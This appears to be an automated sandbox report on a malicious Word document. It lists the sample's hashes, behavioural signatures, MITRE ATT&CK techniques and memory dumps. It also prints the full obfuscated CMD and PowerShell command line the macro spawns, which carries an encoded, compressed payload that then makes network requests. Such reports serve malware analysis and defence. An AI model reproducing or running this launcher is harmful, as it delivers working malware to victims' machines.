63f9a90115978f57afc2afd56992e1a413d3a6b0b79fd1b0ae5036812cebf12e

Analysis

max time kernel
131s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 02:02

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General

Target

659f8fec40810f7fa45c49039d5d1e99_JaffaCakes118.doc
Size

69KB
MD5

659f8fec40810f7fa45c49039d5d1e99
SHA1

c0ac332e47fdca2bee3bbd53e41d79ecb2f40f6f
SHA256

63f9a90115978f57afc2afd56992e1a413d3a6b0b79fd1b0ae5036812cebf12e
SHA512

fb9bca5a71856ee1c6ef4c9bd0a492f2a2a450ed166052ec253752008b89953f55efb22b1d7c843e6657a24fc646890278bff03bbc558726c57aff7a512997db
SSDEEP

768:DXirRkVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o94GYterHihX51CLW:j4Rkocn1kp59gxBK85fBt+a9tjTiLI

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3804	3984	CMD.exe	WINWORD.EXE

Blocklisted process makes network request 7 IoCs

Processes:

powershell.exe

flow	pid	process
27	3428	powershell.exe
29	3428	powershell.exe
32	3428	powershell.exe
33	3428	powershell.exe
35	3428	powershell.exe
37	3428	powershell.exe
38	3428	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3984 WINWORD.EXE
3984 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3428 powershell.exe
3428 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3428 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3984 WINWORD.EXE
3984 WINWORD.EXE
3984 WINWORD.EXE
3984 WINWORD.EXE
3984 WINWORD.EXE
3984 WINWORD.EXE
3984 WINWORD.EXE

pid	process
3984	WINWORD.EXE
3984	WINWORD.EXE

pid	process
3428	powershell.exe
3428	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3428	powershell.exe

pid	process
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXECMD.exe

description	pid	process	target process
PID 3984 wrote to memory of 3804	3984	WINWORD.EXE	CMD.exe
PID 3984 wrote to memory of 3804	3984	WINWORD.EXE	CMD.exe
PID 3804 wrote to memory of 3428	3804	CMD.exe	powershell.exe
PID 3804 wrote to memory of 3428	3804	CMD.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\659f8fec40810f7fa45c49039d5d1e99_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3984

C:\Windows\SYSTEM32\CMD.exe
CMD c:\wINDOWs\SySteM32\cMd.eXE /c"seT oDB= ( NeW-ObjECT IO.COMPresSioN.DeFLatEStREAm( [Io.MemoRysTreAm] [cONvErt]::fROMbASE64sTRIng( 'NZDLbsIwEEV/JYtIBlHsPmipiCLxLEJCbLpg042dTBI3xnZtJyag/HsTWrYz554Z3VBtWSzBjxX7hsQFB3D4CGwlOEgXhVb7GBXO6RkhBQidgi0zfgaDE3Ui5akujzs9/wey5sJLiivJtcK2JCl1lOSgCM07GfG0fiY1N5Ul++N2YlN3DwqwTFVJAdb0Z29uoXLLHZCnxiWXbCNWhzvtvceQMW4YFzm3tKF/35iFFz96eseYMjnYsTa8M5qKrOlEm8fXZfOO8KcW3A3QHA2jkKcyiAP0Nn1BUbi/LOMQZD1zcNIj9IVG/X6EMJwBRZkyQJNiEC42NuAy6OsZXp1prmFXI14rL4Wi6QcXcGMegl44jHayViWMd530NolY5ymjNqEuKa5t+ws=' ) , [SYstEm.Io.coMpResSioN.cOMPrEsSIONmOde]::deCOMprEsS) ^| % { NeW-ObjECT sYsTEM.iO.StReaMReaDeR( $_ ,[Text.EnCoDINg]::aSCiI )} ^|%{ $_.rEadtOEnD( ) })^|^&((get-VariABlE '*MDR*').nAME[3,11,2]-join'')&& POwErSheLL Set-ITem (\"VAriAB\" +\"Le:zl\" + \"AH\" + \"3g\") ( [tYPE]( \"{0}{3}{1}{2}\"-F'En','RoN','menT','vi' ) ) ;( ^&( \"{0}{1}\" -f'D','IR') (\"{3}{1}{2}{4}{0}\"-f 'oncONtext','R','i','va','ablE:exECuti' )).\"vAL`UE\".\"InV`OKE`COMMA`Nd\".(\"{2}{0}{1}\"-f 'voKEsC','RIPT','IN' ).Invoke( ( ${z`lAh3g}::( \"{5}{0}{4}{3}{6}{2}{1}\" -f 'eT','LE','tVARIAb','e','eNvIrOnm','g','N' ).Invoke('oDB',(\"{1}{2}{0}\" -f 'Ss','Pro','CE' ))))"
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwErSheLL Set-ITem (\"VAriAB\" +\"Le:zl\" + \"AH\" + \"3g\") ( [tYPE]( \"{0}{3}{1}{2}\"-F'En','RoN','menT','vi' ) ) ;( &( \"{0}{1}\" -f'D','IR') (\"{3}{1}{2}{4}{0}\"-f 'oncONtext','R','i','va','ablE:exECuti' )).\"vAL`UE\".\"InV`OKE`COMMA`Nd\".(\"{2}{0}{1}\"-f 'voKEsC','RIPT','IN' ).Invoke( ( ${z`lAh3g}::( \"{5}{0}{4}{3}{6}{2}{1}\" -f 'eT','LE','tVARIAb','e','eNvIrOnm','g','N' ).Invoke('oDB',(\"{1}{2}{0}\" -f 'Ss','Pro','CE' ))))
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD81DE.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2bkjv1xz.fes.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3428-59-0x00000142F2EF0000-0x00000142F2F12000-memory.dmp

Filesize
136KB

Download
memory/3984-8-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-5-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-20-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-18-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-4-0x00007FF8E39CD000-0x00007FF8E39CE000-memory.dmp

Filesize
4KB

Download
memory/3984-9-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-1-0x00007FF8A39B0000-0x00007FF8A39C0000-memory.dmp

Filesize
64KB

Download
memory/3984-10-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-11-0x00007FF8A1420000-0x00007FF8A1430000-memory.dmp

Filesize
64KB

Download
memory/3984-13-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-12-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-14-0x00007FF8A1420000-0x00007FF8A1430000-memory.dmp

Filesize
64KB

Download
memory/3984-15-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-16-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-19-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-21-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-6-0x00007FF8A39B0000-0x00007FF8A39C0000-memory.dmp

Filesize
64KB

Download
memory/3984-17-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-7-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-38-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-48-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-47-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-49-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-3-0x00007FF8A39B0000-0x00007FF8A39C0000-memory.dmp

Filesize
64KB

Download
memory/3984-2-0x00007FF8A39B0000-0x00007FF8A39C0000-memory.dmp

Filesize
64KB

Download
memory/3984-67-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-0-0x00007FF8A39B0000-0x00007FF8A39C0000-memory.dmp

Filesize
64KB

Download
memory/3984-473-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-546-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-547-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-548-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download
memory/3984-569-0x00007FF8A39B0000-0x00007FF8A39C0000-memory.dmp

Filesize
64KB

Download
memory/3984-570-0x00007FF8A39B0000-0x00007FF8A39C0000-memory.dmp

Filesize
64KB

Download
memory/3984-568-0x00007FF8A39B0000-0x00007FF8A39C0000-memory.dmp

Filesize
64KB

Download
memory/3984-571-0x00007FF8A39B0000-0x00007FF8A39C0000-memory.dmp

Filesize
64KB

Download
memory/3984-572-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

Filesize
2.0MB

Download